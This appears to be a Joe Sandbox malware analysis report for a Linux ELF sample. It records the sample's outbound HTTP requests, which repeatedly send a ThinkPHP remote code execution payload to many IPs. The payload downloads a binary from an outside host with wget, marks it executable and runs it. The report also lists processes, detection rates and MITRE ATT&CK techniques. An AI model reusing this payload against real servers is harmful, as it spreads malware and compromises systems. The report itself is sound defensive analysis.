Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.13	43234	95.78.75.152	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.164479971 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.13	54004	95.83.248.117	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.168625116 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.13	52590	95.25.159.84	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.173679113 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.13	33886	95.198.148.102	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.178087950 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.13	33324	95.39.245.20	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.183921099 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.13	39158	95.115.29.222	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.189919949 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.13	37016	95.184.164.197	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.197683096 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.13	34638	95.70.3.199	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.203155994 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.13	56544	95.49.113.148	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.260346889 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.13	43532	95.76.135.22	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.273654938 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.13	45774	95.30.65.188	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.281543970 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.13	59526	95.151.244.207	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.290872097 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.13	35932	95.86.136.151	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.300632000 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.13	58718	95.30.192.216	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.525645018 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.13	33502	95.151.14.251	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.549410105 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.13	43100	95.50.4.30	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.558226109 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.13	35968	95.194.121.234	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.575618982 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.13	50968	95.114.134.52	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.590507030 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.13	37304	95.27.212.157	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.806282043 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.13	33918	95.200.69.55	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.810820103 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.13	33472	95.85.49.156	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.817929983 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.13	58400	95.199.121.127	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.823667049 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.13	39186	95.140.215.247	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.827430964 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.13	60050	95.44.224.90	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.831245899 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.13	59206	95.80.184.76	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.835321903 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

System Behavior

Analysis Process: K8vjjv1Tcx.elf PID: 5491, Parent PID: 5414

General

Start time (UTC):	21:05:39
Start date (UTC):	20/07/2024
Path:	/tmp/K8vjjv1Tcx.elf
Arguments:	/tmp/K8vjjv1Tcx.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	21:05:40
Start date (UTC):	20/07/2024
Path:	/tmp/K8vjjv1Tcx.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	21:05:40
Start date (UTC):	20/07/2024
Path:	/tmp/K8vjjv1Tcx.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	21:05:40
Start date (UTC):	20/07/2024
Path:	/tmp/K8vjjv1Tcx.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	21:05:40
Start date (UTC):	20/07/2024
Path:	/tmp/K8vjjv1Tcx.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	21:05:40
Start date (UTC):	20/07/2024
Path:	/tmp/K8vjjv1Tcx.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	21:05:40
Start date (UTC):	20/07/2024
Path:	/tmp/K8vjjv1Tcx.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Source: K8vjjv1Tcx.elf	Virustotal: Detection: 56%			Perma Link
Source: K8vjjv1Tcx.elf	ReversingLabs: Detection: 50%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report K8vjjv1Tcx.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.J4VU2J (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: K8vjjv1Tcx.elf PID: 5491, Parent PID: 5414

General

Chronological Activities

Analysis Process: K8vjjv1Tcx.elf PID: 5495, Parent PID: 5491

General

Chronological Activities

Analysis Process: K8vjjv1Tcx.elf PID: 5497, Parent PID: 5495

General

Chronological Activities

Analysis Process: K8vjjv1Tcx.elf PID: 5499, Parent PID: 5495

Linux Analysis Report
K8vjjv1Tcx.elf